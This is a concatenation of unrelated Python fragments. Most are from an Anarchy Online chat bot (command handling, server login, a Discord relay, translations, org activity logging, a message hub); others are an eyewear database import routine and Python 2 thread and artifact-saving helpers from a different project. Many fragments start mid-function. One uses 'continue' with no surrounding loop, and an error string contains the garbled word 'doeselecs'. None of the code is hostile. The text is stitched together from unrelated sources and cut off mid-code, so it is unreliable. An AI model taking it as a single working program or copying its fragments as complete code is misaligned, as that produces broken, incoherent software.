return self.db.query(sql, params) def get_matches(self, cmd_configs, command_args): for row in cmd_configs: command_key = self.get_command_key(row.command, row.sub_command) handlers = self.handlers[command_key] for handler in handlers: matches = handler["regex"].search(command_args) if matches: return row, matches, handler return None, None, None def process_matches(self, matches, params): groups = list(matches.groups()) processed = [] for param in params: processed.append(param.process_matches(groups)) return processed def format_help_text(self, data, char_id, show_regex=False): # filter out commands that character does not have access level for data = filter( lambda row: self.access_service.check_access( char_id, row.access_level), data) def get_regex(params): if show_regex: return "\n" + self.get_regex_from_params(params) else: return "" def read_help_text(row): command_key = self.get_command_key(row.command, row.sub_command) return filter( lambda x: x is not None, map( lambda handler: handler["help"] + get_regex(handler[ "params"]), self.handlers[command_key])) content = "\n\n".join(flatmap(read_help_text, data)) return content if content else None def format_help_text_blob(self, topic, help_text): return ChatBlob("Help (" + topic + ")", help_text) def get_help_file(self, module, help_file): if help_file: try: help_file = "./" + module.replace(".", "/") + "/" + help_file with open(help_file, mode="r", encoding="UTF-8") as f: return f.read().strip() except FileNotFoundError as e: self.logger.error("Error reading help file", e) return None def get_command_key(self, command, sub_command): if sub_command: return command + ":" + sub_command else: return command def get_command_key_parts(self, command_str): parts = command_str.split(":", 1) if len(parts) == 2: return parts[0], parts[1] else: return parts[0], "" def get_regex_from_params(self, params): # params must be wrapped with line-beginning and line-ending anchors in order to match # when no params are specified (eg. "^$") return "^" + "".join(map(lambda x: x.get_regex(), params)) + "$" def generate_help(self, command, description, params, extended_description=None): help_text = description + ":\n" + "<tab><symbol>" + command + " " + " ".join( map(lambda x: x.get_name(), params)) if extended_description: help_text += "\n" + extended_description return help_text def get_handlers(self, command_key): return self.handlers.get(command_key, None) def handle_private_message(self, conn: Conn, packet: server_packets.PrivateMessage): if not self.setting_service.get("accept_commands_from_slave_bots" ).get_value() and not conn.is_main: return # since the command symbol is not required for private messages, # the command_str must have length of at least 1 in order to be valid, # otherwise it is ignored if len(packet.message) < 1: return # ignore leading space message = packet.message.lstrip() def reply(msg): if self.bot.mass_message_queue and FeatureFlags.FORCE_LARGE_MESSAGES_FROM_SLAVES and \ isinstance(msg, ChatBlob) and len(msg.msg) > FeatureFlags.FORCE_LARGE_MESSAGES_FROM_SLAVES_THRESHOLD: self.bot.send_mass_message(packet.char_id, msg, conn=conn) else: self.bot.send_private_message(packet.char_id, msg, conn=conn) self.process_command(self.trim_command_symbol(message), self.PRIVATE_MESSAGE_CHANNEL, packet.char_id, reply, conn) def trim_command_symbol(self, s): symbol = self.setting_service.get("symbol").get_value() if s.startswith(symbol): s = s[len(symbol):] return s
fit = 'Standard' lens_id = -1 if 'Asian' in model_details['name']: fit = 'Asian' fit_id = model_dal.get_fit_id(fit) lens_id = lens_dal.get_or_create_lens_id( model_details['lens'], 'Eyewear', style['family'], DATA_SOURCE_O_REVIEW_V1_ARCHIVE) if lens_id == -1: logger.error( 'Failed to find lens for model [{}], style [{}], sku [{}]' .format(model_details['name'], style['name'], model_details['sku'])) continue logger.info( 'Inserting model with name [{}], style [{}], sku [{}]'. format(model_details['name'], style['name'], model_details['sku'])) model_dal.insert_model(model_details, style['id'], lens_id, fit_id, DATA_SOURCE_O_REVIEW_V1_ARCHIVE) else: logger.info( 'Model with name [{}] already exists in the database, ignoring...' .format(model['name']))
class Bot: def __init__(self): self.socket = None self.char_id = None self.char_name = None self.logger = Logger("Budabot") def connect(self, host, port): self.logger.info("Connecting to %s:%d" % (host, port)) self.socket = socket.create_connection((host, port), 10) def disconnect(self): if self.socket: self.socket.shutdown(socket.SHUT_RDWR) self.socket.close() self.socket = None def login(self, username, password, character): character = character.capitalize() # read seed packet self.logger.info(("Logging in as %s" % character)) seed_packet = self.read_packet() seed = seed_packet.seed # send back challenge key = generate_login_key(seed, username, password) login_request_packet = LoginRequest(0, username, key) self.send_packet(login_request_packet) # read character list character_list_packet = self.read_packet() index = character_list_packet.names.index(character) # select character self.char_id = character_list_packet.character_ids[index] self.char_name = character_list_packet.names[index] login_select_packet = LoginSelect(self.char_id) self.send_packet(login_select_packet) # wait for OK packet = self.read_packet() if packet.id == LoginOK.id: self.logger.info("Connected!") return True else: self.logger.error("Error logging in: %s" % packet.message) return False def read_packet(self, time=1): """ Wait for packet from server. """ read, write, error = select.select([self.socket], [], [], time) if not read: return None else: # Read data from server head = self.read_bytes(4) packet_type, packet_length = struct.unpack(">2H", head) data = self.read_bytes(packet_length) packet = ServerPacket.get_instance(packet_type, data) return packet def send_packet(self, packet): data = packet.to_bytes() data = struct.pack(">2H", packet.id, len(data)) + data self.write_bytes(data) def read_bytes(self, num_bytes): data = bytes() while num_bytes > 0: chunk = self.socket.recv(num_bytes) if len(chunk) == 0: raise EOFError num_bytes -= len(chunk) data = data + chunk return data def write_bytes(self, data): num_bytes = len(data) while num_bytes > 0: sent = self.socket.send(data) if sent == 0: raise EOFError data = data[sent:] num_bytes -= sent
class DiscordController: MESSAGE_SOURCE = "discord" COMMAND_CHANNEL = "discord" def __init__(self): self.dthread = None self.dqueue = [] self.aoqueue = [] self.logger = Logger(__name__) self.client = None self.command_handlers = [] def inject(self, registry): self.bot = registry.get_instance("bot") self.db = registry.get_instance("db") self.util = registry.get_instance("util") self.setting_service = registry.get_instance("setting_service") self.event_service = registry.get_instance("event_service") self.character_service: CharacterService = registry.get_instance( "character_service") self.text: Text = registry.get_instance("text") self.command_service = registry.get_instance("command_service") self.ban_service = registry.get_instance("ban_service") self.message_hub_service = registry.get_instance("message_hub_service") self.pork_service = registry.get_instance("pork_service") self.alts_service = registry.get_instance("alts_service") self.ts: TranslationService = registry.get_instance( "translation_service") self.getresp = self.ts.get_response def pre_start(self): self.event_service.register_event_type("discord_ready") self.event_service.register_event_type("discord_message") self.event_service.register_event_type("discord_channels") self.event_service.register_event_type("discord_command") self.event_service.register_event_type("discord_invites") self.message_hub_service.register_message_source(self.MESSAGE_SOURCE) self.command_service.register_command_channel("Discord", self.COMMAND_CHANNEL) def start(self): self.db.exec( "CREATE TABLE IF NOT EXISTS discord_char_link (discord_id BIGINT NOT NULL, char_id INT NOT NULL)" ) self.message_hub_service.register_message_destination( self.MESSAGE_SOURCE, self.handle_incoming_relay_message, [ "private_channel", "org_channel", "websocket_relay", "tell_relay", "shutdown_notice" ], [self.MESSAGE_SOURCE]) self.register_discord_command_handler( self.discord_link_cmd, "discord", [Const("link"), Character("ao_character")]) self.register_discord_command_handler(self.discord_unlink_cmd, "discord", [Const("unlink")]) self.ts.register_translation("module/discord", self.load_discord_msg) self.setting_service.register(self.module_name, "discord_enabled", False, BooleanSettingType(), "Enable the Discord relay") self.setting_service.register(self.module_name, "discord_bot_token", "", HiddenSettingType(allow_empty=True), "Discord bot token") self.setting_service.register( self.module_name, "discord_channel_id", "", TextSettingType(allow_empty=True), "Discord channel id for relaying messages to and from", "You can get the Discord channel ID by right-clicking on a channel name in Discord and then clicking \"Copy ID\"" ) self.setting_service.register(self.module_name, "discord_embed_color", "#00FF00", ColorSettingType(), "Discord embedded message color") self.setting_service.register( self.module_name, "relay_color_prefix", "#FCA712", ColorSettingType(), "Set the prefix color for messages coming from Discord") self.setting_service.register( self.module_name, "relay_color_name", "#808080", ColorSettingType(), "Set the color of the name for messages coming from Discord") self.setting_service.register( self.module_name, "relay_color_message", "#00DE42", ColorSettingType(), "Set the color of the content for messages coming from Discord") self.setting_service.register_change_listener( "discord_channel_id", self.update_discord_channel) self.setting_service.register_change_listener( "discord_enabled", self.update_discord_state) def load_discord_msg(self): with open("modules/standard/discord/discord.msg", mode="r", encoding="utf-8") as f: return hjson.load(f) @command(command="discord", params=[], access_level="member", description="See Discord info") def discord_cmd(self, request): servers = "" if self.client and self.client.guilds: for server in self.client.guilds: invites = self.text.make_tellcmd( self.getresp("module/discord", "get_invite"), "discord getinvite %s" % server.id) owner = server.owner.nick or re.sub( pattern=r"#\d+", repl="", string=str(server.owner)) servers += self.getresp( "module/discord", "server", { "server_name": server.name, "invite": invites, "m_count": str(len(server.members)), "owner": owner }) else: servers += self.getresp("module/discord", "no_server") subs = "" for channel in self.get_text_channels(): subs += self.getresp("module/discord", "sub", { "server_name": channel.guild.name, "channel_name": channel.name }) status = self.getresp( "module/discord", "connected" if self.is_connected() else "disconnected") blob = self.getresp( "module/discord", "blob", { "connected": status, "count": len(self.get_text_channels()), "servers": servers, "subs": subs }) return ChatBlob(self.getresp("module/discord", "title"), blob) @command(command="discord", params=[Const("relay")], access_level="moderator", sub_command="manage", description="Setup relaying of channels") def discord_relay_cmd(self, request, _): connect_link = self.text.make_tellcmd( self.getresp("module/discord", "connect"), "config setting discord_enabled set true") disconnect_link = self.text.make_tellcmd( self.getresp("module/discord", "disconnect"), "config setting discord_enabled set false") constatus = self.getresp( "module/discord", "connected" if self.is_connected() else "disconnected") subs = "" for channel in self.get_text_channels(): select_link = self.text.make_tellcmd( "select", "config setting discord_channel_id set %s" % channel.id) selected = "(selected)" if self.setting_service.get( "discord_channel_id").get_value() == channel.id else "" subs += self.getresp( "module/discord", "relay", { "server_name": channel.guild.name, "channel_name": channel.name, "select": select_link, "selected": selected }) blob = self.getresp( "module/discord", "blob_relay", { "connected": constatus, "connect_link": connect_link, "disconnect_link": disconnect_link, "count": len(self.get_text_channels()), "subs": subs }) return ChatBlob(self.getresp("module/discord", "relay_title"), blob) @command(command="discord", params=[Const("confirm"), Int("discord_id")], access_level="member", description="Confirm link of a Discord user") def discord_confirm_cmd(self, request, _, discord_id): main = self.alts_service.get_main(request.sender.char_id) if main.char_id != request.sender.char_id: return self.getresp("module/discord", "must_run_from_main", {"char": main.name}) self.db.exec( "DELETE FROM discord_char_link WHERE discord_id = ? OR char_id = ?", [discord_id, main.char_id]) self.db.exec( "INSERT INTO discord_char_link (discord_id, char_id) VALUES (?, ?)", [discord_id, main.char_id]) return self.getresp("module/discord", "link_success", {"discord_user": discord_id}) @command(command="discord", params=[Const("getinvite"), Int("server_id")], access_level="member", description="Get an invite for specified server", sub_command="getinvite") def discord_getinvite_cmd(self, request, _, server_id): if self.client and self.client.guilds: for server in self.client.guilds: if server.id == server_id: self.send_to_discord("get_invite", (request.sender.name, server)) return return self.getresp("module/discord", "no_dc", {"id": server_id}) @timerevent(budatime="1s", description="Discord relay queue handler", is_hidden=True) def handle_discord_queue_event(self, event_type, event_data): if self.dqueue: dtype, message = self.dqueue.pop(0) if dtype == "discord_message": if message.channel.type == ChannelType.private or message.content.startswith( self.setting_service.get("symbol").get_value()): self.handle_discord_command_event(message) else: self.handle_discord_message_event(message) elif dtype == "discord_ready": self.send_to_discord( "msg", DiscordTextMessage( f"{self.bot.get_primary_conn().get_char_name()} is now connected." )) self.event_service.fire_event(dtype, message) @timerevent(budatime="1m", description="Ensure the bot is connected to Discord", is_enabled=False, is_hidden=True, run_at_startup=True) def handle_connect_event(self, event_type, event_data): if not self.is_connected(): self.connect_discord_client() @event(event_type=AltsService.MAIN_CHANGED_EVENT_TYPE, description="Update discord character link when a main is changed", is_hidden=True) def handle_main_changed(self, event_type, event_data): old_row = self.db.query_single( "SELECT discord_id FROM discord_char_link WHERE char_id = ?", [event_data.old_main_id]) if old_row: new_row = self.db.query_single( "SELECT discord_id FROM discord_char_link WHERE char_id = ?", [event_data.new_main_id]) if not new_row: self.db.exec( "INSERT INTO discord_char_link (discord_id, char_id) VALUES (?, ?)", [old_row.discord_id, event_data.new_main_id]) @event(event_type="discord_invites", description="Handles invite requests", is_hidden=True) def handle_discord_invite_event(self, event_type, event_data): char_name = event_data[0] invites = event_data[1] blob = "" server_invites = "" if len(invites) > 0: for invite in invites: link = self.text.make_chatcmd( self.getresp("module/discord", "join"), "/start %s" % invite.url) timeleft = "Permanent" if invite.max_age == 0 else str( datetime.timedelta(seconds=invite.max_age)) used = str(invite.uses) if invite.uses is not None else "N/A" useleft = str( invite.max_uses) if invite.max_uses is not None else "N/A" if invite.channel is not None: channel = self.getresp("module/discord", "inv_channel", {"channel": invite.channel.name}) else: channel = None server_invites += self.getresp( "module/discord", "invite", { "server": invite.guild.name, "link": link, "time_left": timeleft, "count_used": used, "count_left": useleft, "channel": channel }) blob += self.getresp("module/discord", "blob_invites", {"invites": server_invites}) else: blob += "No invites currently exist." char_id = self.character_service.resolve_char_to_id(char_name) self.bot.send_private_message( char_id, ChatBlob(self.getresp("module/discord", "invite_title"), blob)) def handle_discord_command_event(self, message): if not self.find_discord_command_handler(message): reply = partial(self.discord_command_reply, channel=message.channel) row = self.db.query_single( "SELECT char_id FROM discord_char_link WHERE discord_id = ?", [message.author.id]) if row: message_str = self.command_service.trim_command_symbol( message.content) self.command_service.process_command( message_str, self.COMMAND_CHANNEL, row.char_id, reply, self.bot.get_primary_conn()) else: reply(self.getresp("module/discord", "discord_user_not_linked")) def handle_discord_message_event(self, message): if isinstance(message.author, Member): name = message.author.nick or message.author.name else: name = message.author.name chanclr = self.setting_service.get("relay_color_prefix") nameclr = self.setting_service.get("relay_color_name") mesgclr = self.setting_service.get("relay_color_message") formatted_message = "<grey>[</grey>%s<grey>]</grey> %s<grey>:</grey> %s" % ( chanclr.format_text("Discord"), nameclr.format_text(name), mesgclr.format_text(message.content)) self.message_hub_service.send_message(self.MESSAGE_SOURCE, None, None, formatted_message) def find_discord_command_handler(self, message): message_str = self.command_service.trim_command_symbol(message.content) command_str, command_args = self.command_service.get_command_parts( message_str) for handler in self.command_handlers: if handler.command == command_str: matches = handler.regex.search(command_args) if matches: ctx = DictObject({"message": message}) handler.callback( ctx, partial(self.discord_command_reply, channel=message.channel), self.command_service.process_matches( matches, handler.params)) return True return False def discord_command_reply(self, content, title=None, channel=None): if isinstance(content, ChatBlob): if not title: title = content.title content = content.page_prefix + content.msg + content.page_postfix if not title: title = "Command" title = self.format_message(title) if isinstance(content, str): msgcolor = self.setting_service.get( "discord_embed_color").get_int_value() pages = self.text.split_by_separators(self.format_message(content), 2048) # discord max is 2048 num_pages = len(pages) page_title = title for page_num, page in enumerate(pages, start=1): if num_pages > 1: page_title = title + f" (Page {page_num} / {num_pages})" self.send_to_discord( "command_reply", DiscordEmbedMessage(page_title, page, msgcolor, channel)) return if isinstance(content, DiscordMessage): self.send_to_discord("command_reply", content) else: self.logger.error("unable to process message for discord: " + content) def format_message(self, msg): msg = re.sub(r"<header>(.*?)</header>\n?", r"```less\n\1\n```", msg) msg = re.sub(r"<header2>(.*?)</header2>\n?", r"```yaml\n\1\n```", msg) msg = re.sub(r"<highlight>(.*?)</highlight>", r"`\1`", msg) return self.strip_html_tags(msg) def register_discord_command_handler(self, callback, command_str, params): """Call during start""" r = re.compile(self.command_service.get_regex_from_params(params), re.IGNORECASE | re.DOTALL) self.command_handlers.append( DictObject({ "callback": callback, "command": command_str, "params": params, "regex": r })) def connect_discord_client(self): token = self.setting_service.get("discord_bot_token").get_value() if not token: self.logger.warning( "Unable to connect to Discord, discord_bot_token has not been set" ) else: self.disconnect_discord_client() self.client = DiscordWrapper( self.setting_service.get("discord_channel_id").get_value(), self.dqueue, self.aoqueue) self.dthread = threading.Thread(target=self.run_discord_thread, args=(self.client, token), daemon=True) self.dthread.start() def run_discord_thread(self, client, token): try: self.logger.info("connecting to discord") client.loop.create_task(client.start(token)) client.loop.run_until_complete(client.relay_message()) except Exception as e: self.logger.error("discord connection lost", e) def disconnect_discord_client(self): if self.client: self.client.loop.create_task( self.client.logout_with_message( f"{self.bot.get_primary_conn().get_char_name()} is disconnecting..." )) self.client = None if self.dthread: self.dthread.join() self.dthread = None self.dqueue = [] self.aoqueue = [] def strip_html_tags(self, html): s = MLStripper() s.feed(html) return s.get_data() def discord_link_cmd(self, ctx, reply, args): char = args[1] if not char.char_id: reply(self.getresp("global", "char_not_found", {"char": char.name})) return main = self.alts_service.get_main(char.char_id) if main.char_id != char.char_id: reply(self.getresp("module/discord", "must_link_main")) return author = ctx.message.author discord_user = "******" % (author.name, author.discriminator, author.id) blob = self.getresp( "module/discord", "confirm_instructions", { "discord_user": discord_user, "confirm_link": self.text.make_tellcmd("Confirm", "discord confirm %d" % author.id) }) self.bot.send_private_message(char.char_id, ChatBlob("Discord Confirm Link", blob)) reply( self.getresp("module/discord", "link_response", {"char": char.name})) def discord_unlink_cmd(self, ctx, reply, args): self.db.exec("DELETE FROM discord_char_link WHERE discord_id = ?", [ctx.message.author.id]) reply(self.getresp("module/discord", "unlink_success")) def is_connected(self): # not self.client or not self.dthread.is_alive() return self.client and self.client.is_ready( ) and self.dthread and self.dthread.is_alive() def get_char_info_display(self, char_id): char_info = self.pork_service.get_character_info(char_id) if char_info: name = self.strip_html_tags(self.text.format_char_info(char_info)) else: name = self.character_service.resolve_char_to_name(char_id) return name def send_to_discord(self, message_type, data): self.aoqueue.append((message_type, data)) def handle_incoming_relay_message(self, ctx): if not self.is_connected(): return message = DiscordTextMessage( self.strip_html_tags(ctx.formatted_message)) self.send_to_discord("msg", message) def get_text_channels(self): if self.client: return self.client.get_text_channels() else: return [] def update_discord_channel(self, setting_name, old_value, new_value): if self.client: if not self.client.set_channel_id(new_value): self.logger.warning( f"Could not find discord channel '{new_value}'") def update_discord_state(self, setting_name, old_value, new_value): if setting_name == "discord_enabled": event_handlers = [ self.handle_connect_event, self.handle_discord_queue_event, self.handle_discord_invite_event ] for handler in event_handlers: event_handler = self.util.get_handler_name(handler) event_base_type, event_sub_type = self.event_service.get_event_type_parts( handler.event.event_type) self.event_service.update_event_status(event_base_type, event_sub_type, event_handler, 1 if new_value else 0) if not new_value: self.disconnect_discord_client()
class TranslationService: strings = {} translation_callbacks = {} language = None lang_codes = ["en_US", "de_DE"] LANGUAGE_SETTING = "language" def __init__(self): self.logger = Logger(__name__) def inject(self, registry): self.setting_service: SettingService = registry.get_instance( "setting_service") self.event_service: EventService = registry.get_instance( "event_service") self.util: Util = registry.get_instance("util") self.bot: Tyrbot = registry.get_instance("bot") def pre_start(self): self.event_service.register_event_type("reload_translation") def start(self): self.setting_service.register("core.system", self.LANGUAGE_SETTING, "en_US", TextSettingType(self.lang_codes), "Language of the Bot") self.language = self.setting_service.get_value(self.LANGUAGE_SETTING) self.register_translation("global", self.load_global_msg) self.setting_service.register_change_listener( self.LANGUAGE_SETTING, self.language_setting_changed) def register_translation(self, category, callback): """ Call during start Args: category: str callback: () -> {} """ if len(inspect.signature(callback).parameters) != 0: raise Exception( "Incorrect number of arguments for handler '%s.%s()'" % (callback.__module__, callback.__name__)) if self.translation_callbacks.get(category) is None: self.translation_callbacks[category] = [] self.translation_callbacks[category].append(callback) self.update_msg(category, callback) def load_global_msg(self): with open("core/global.msg", mode="r", encoding="UTF-8") as f: return hjson.load(f) def language_setting_changed(self, name, old_value, new_value): if name == self.LANGUAGE_SETTING and new_value != old_value: self.reload_translation(new_value) # This method will load another language, defined in the param 'lang' def reload_translation(self, lang): self.event_service.fire_event("reload_translation") self.language = lang for k1 in self.strings: for callback in self.translation_callbacks.get(k1): self.update_msg(k1, callback) #updates the msgs def update_msg(self, category, callback): data = callback() for k in data: if not category in self.strings: self.strings[category] = {} self.strings[category][k] = data[k].get( self.language) or data[k].get("en_US") # # the param 'variables' accepts dictionaries ONLY. # def get_response(self, category, key, variables={}): msg = "" try: val = self.strings[category][key] if isinstance(val, list): for line in val: msg += line.format(**variables) else: msg = val.format(**variables) except KeyError as e: self.logger.error( f"translating error category '{category}' and key '{key}' with params: {variables}", e) msg = "Error translating category: <highlight>{mod}</highlight> key: <highlight>{key}</highlight>" \ " with params: <highlight>{params}</highlight>".format(mod=category, key=key, params=variables) finally: return msg
class OrgActivityController: def __init__(self): self.logger = Logger(__name__) def inject(self, registry): self.db = registry.get_instance("db") self.util = registry.get_instance("util") self.character_service = registry.get_instance("character_service") self.command_alias_service = registry.get_instance( "command_alias_service") def start(self): self.db.exec( "CREATE TABLE IF NOT EXISTS org_activity (id INT PRIMARY KEY AUTO_INCREMENT, actor_char_id INT NOT NULL, actee_char_id INT NOT NULL, " "action VARCHAR(20) NOT NULL, created_at INT NOT NULL)") self.command_alias_service.add_alias("orghistory", "orgactivity") @command(command="orgactivity", params=[], access_level="org_member", description="Show org member activity") def orgactivity_cmd(self, request): sql = """ SELECT p1.name AS actor, p2.name AS actee, o.action, o.created_at FROM org_activity o LEFT JOIN player p1 ON o.actor_char_id = p1.char_id LEFT JOIN player p2 ON o.actee_char_id = p2.char_id ORDER BY o.created_at DESC LIMIT 40 """ data = self.db.query(sql) blob = "" for row in data: blob += self.format_org_action(row) + "\n" return ChatBlob("Org Activity", blob) @event(PublicChannelService.ORG_MSG_EVENT, "Record org member activity", is_hidden=True) def org_msg_event(self, event_type, event_data): ext_msg = event_data.extended_message if [ext_msg.category_id, ext_msg.instance_id] == OrgMemberController.LEFT_ORG: self.save_activity(ext_msg.params[0], ext_msg.params[0], "left") elif [ext_msg.category_id, ext_msg.instance_id] == OrgMemberController.KICKED_FROM_ORG: self.save_activity(ext_msg.params[0], ext_msg.params[1], "kicked") elif [ext_msg.category_id, ext_msg.instance_id] == OrgMemberController.INVITED_TO_ORG: self.save_activity(ext_msg.params[0], ext_msg.params[1], "invited") elif [ext_msg.category_id, ext_msg.instance_id ] == OrgMemberController.KICKED_INACTIVE_FROM_ORG: self.save_activity(ext_msg.params[0], ext_msg.params[1], "removed") elif [ext_msg.category_id, ext_msg.instance_id ] == OrgMemberController.KICKED_ALIGNMENT_CHANGED: self.save_activity(ext_msg.params[0], ext_msg.params[0], "alignment changed") def save_activity(self, actor, actee, action): actor_id = self.character_service.resolve_char_to_id(actor) actee_id = self.character_service.resolve_char_to_id( actee) if actee else 0 if not actor_id: self.logger.error("Could not get char_id for actor '%s'" % actor) if not actee_id: self.logger.error("Could not get char_id for actee '%s'" % actee) t = int(time.time()) self.db.exec( "INSERT INTO org_activity (actor_char_id, actee_char_id, action, created_at) VALUES (?, ?, ?, ?)", [actor_id, actee_id, action, t]) def format_org_action(self, row): if row.action == "left" or row.action == "alignment changed": return "<highlight>%s</highlight> %s. %s" % ( row.actor, row.action, self.util.format_datetime( row.created_at)) else: return "<highlight>%s</highlight> %s <highlight>%s</highlight>. %s" % ( row.actor, row.action, row.actee, self.util.format_datetime(row.created_at))
class MessageHubService: def __init__(self): self.logger = Logger(__name__) self.hub = {} self.sources = [] def inject(self, registry): self.bot = registry.get_instance("bot") self.setting_service = registry.get_instance("setting_service") self.character_service: CharacterService = registry.get_instance("character_service") self.text: Text = registry.get_instance("text") self.db = registry.get_instance("db") def start(self): self.db.exec("CREATE TABLE IF NOT EXISTS message_hub_subscriptions ( " "destination VARCHAR(50) NOT NULL," "source VARCHAR(50) NOT NULL" ")") def register_message_source(self, source): """Call during pre_start""" if source not in self.sources: self.sources.append(source) def register_message_destination(self, destination, callback, default_sources, invalid_sources=[]): """ Call during start Args: destination: str callback: (ctx) -> void default_sources: [str...] invalid_sources: [str...] """ if len(inspect.signature(callback).parameters) != 1: raise Exception("Incorrect number of arguments for handler '%s.%s()'" % (callback.__module__, callback.__name__)) if destination in self.hub: raise Exception("Message hub destination '%s' already subscribed" % destination) for source in default_sources: if source not in self.sources: self.logger.warning("Could not subscribe destination '%s' to source '%s' because source does not exist" % (destination, source)) # raise Exception("Could not subscribe destination '%s' to source '%s' because source does not exist" % (destination, source)) self.hub[destination] = (DictObject({"name": destination, "callback": callback, "sources": default_sources, "invalid_sources": invalid_sources})) self.reload_mapping(destination) def reload_mapping(self, destination): data = self.db.query("SELECT source FROM message_hub_subscriptions WHERE destination = ?", [destination]) if data: self.hub[destination].sources = list(map(lambda x: x.source, data)) def send_message(self, source, sender, channel_prefix, message): ctx = MessageHubContext(source, sender, channel_prefix, message, self.get_formatted_message(channel_prefix, sender, message)) for _, c in self.hub.items(): if source in c.sources: try: c.callback(ctx) except Exception as e: self.logger.error("", e) def subscribe_to_source(self, destination, source): if source not in self.sources: raise Exception("Message hub source '%s' doeselecs not exist" % source) obj = self.hub.get(destination, None) if not obj: raise Exception("Message hub destination '%s' does not exist" % destination) if source not in obj.sources: self.db.exec("DELETE FROM message_hub_subscriptions WHERE destination = ?", [destination]) obj.sources.append(source) for source in obj.sources: self.db.exec("INSERT INTO message_hub_subscriptions (destination, source)" "VALUES (?, ?)", [destination, source]) def unsubscribe_from_source(self, destination, source): # if source not in self.sources: # raise Exception("Message hub source '%s' does not exist" % source) obj = self.hub.get(destination, None) if not obj: raise Exception("Message hub destination '%s' does not exist" % destination) if source in obj.sources: self.db.exec("DELETE FROM message_hub_subscriptions WHERE destination = ?", [destination]) obj.sources.remove(source) for source in obj.sources: self.db.exec("INSERT INTO message_hub_subscriptions (destination, source)" "VALUES (?, ?)", [destination, source]) def get_formatted_message(self, channel_prefix, sender, message): formatted_message = "" if channel_prefix: formatted_message += f"{channel_prefix} " if sender: char_name = self.text.make_charlink(sender.name) formatted_message += f"{char_name}: " # TODO pagination should not happen until destination channel is known if isinstance(message, ChatBlob): message = self.text.paginate_single(message, self.bot.get_primary_conn()) formatted_message += message return formatted_message
class DiscordWrapper(discord.Client): def __init__(self, channel_name, dqueue, aoqueue): super().__init__(intents=discord.Intents(guilds=True, invites=True, guild_messages=True, dm_messages=True, members=True)) asyncio.set_event_loop(asyncio.new_event_loop()) self.logger = Logger(__name__) self.dqueue = dqueue self.aoqueue = aoqueue self.channel_name = channel_name self.default_channel = None async def logout_with_message(self, msg): if self.default_channel: await self.default_channel.send(msg) await super().logout() async def on_ready(self): self.set_channel_name(self.channel_name) self.dqueue.append(("discord_ready", "ready")) async def on_message(self, message): if not message.author.bot and ( self.default_channel and message.channel.id == self.default_channel.id or message.channel.type == ChannelType.private): self.dqueue.append(("discord_message", message)) async def relay_message(self): await self.wait_until_ready() while not self.is_closed(): if self.aoqueue: dtype, message = self.aoqueue.pop(0) try: if dtype == "get_invite": name = message[0] server = message[1] # TODO handle insufficient permissions invites = await self.get_guild(server.id).invites() self.dqueue.append( ("discord_invites", (name, invites))) else: content = message.get_message() channel = message.channel or self.default_channel if channel: if message.get_type() == "embed": await channel.send(embed=content) else: await channel.send(content) except Exception as e: self.logger.error( "Exception raised during Discord event (%s, %s)" % (str(dtype), str(message)), e) await asyncio.sleep(0.1) def set_channel_name(self, channel_name): self.channel_name = channel_name for channel in self.get_text_channels(): if channel.name == channel_name: self.default_channel = channel return True return False def get_text_channels(self): return list( filter(lambda x: x.type is ChannelType.text, self.get_all_channels()))
# TODO switch to a streamed format (to avoid the MemoryError) def save(self, group, data, source=None): name = '%s.%s' % (group, self.key) if source: name += '.%s' % source # Build `directory` directory = os.path.join(Environment.path.plugin_data, 'Artifacts') # Ensure `directory` exists try: os.makedirs(directory) except Exception, ex: # Directory already exists pass # Build `path` path = os.path.join(directory, '%s.json' % name) try: log.debug('Saving artifacts to %r', path) # Dump `data` to file as JSON json_write(path, ArtifactTransformer(data), cls=ArtifactEncoder) except MemoryError, ex: log.error('Unable to save artifacts: %s', ex, exc_info=True) except OSError, ex: log.error('Unable to save artifacts: %s', ex, exc_info=True)
# Wait for lock self.lock.acquire() # Ensure task hasn't already been started if self.started: self.lock.release() return self.started = True try: # Call task self.result = self.target(*self.args, **self.kwargs) except CancelException, e: self.exception = sys.exc_info() log.debug('Task cancelled') except trakt.RequestError, e: self.exception = sys.exc_info() log.warn('trakt.tv request failed: %s', e) except Exception, ex: self.exception = sys.exc_info() log.error('Exception raised in triggered function %r: %s', self.name, ex, exc_info=True) finally: # Release lock self.complete = True self.lock.release()
def wrapper(thread_name, args, kwargs): try: func(*args, **kwargs) except Exception, ex: log.error('Thread "%s" raised an exception: %s', thread_name, ex, exc_info=True) th = threading.Thread(target=wrapper, name=thread_name, args=(thread_name, args, kwargs)) try: th.start() log.debug("Spawned thread with name '%s'" % thread_name) except thread.error, ex: log.error('Unable to spawn thread: %s', ex, exc_info=True, extra={ 'data': { 'active_count': threading.active_count() } }) return None return th def schedule(func, seconds, *args, **kwargs): def schedule_sleep(): time.sleep(seconds) func(*args, **kwargs) spawn(schedule_sleep)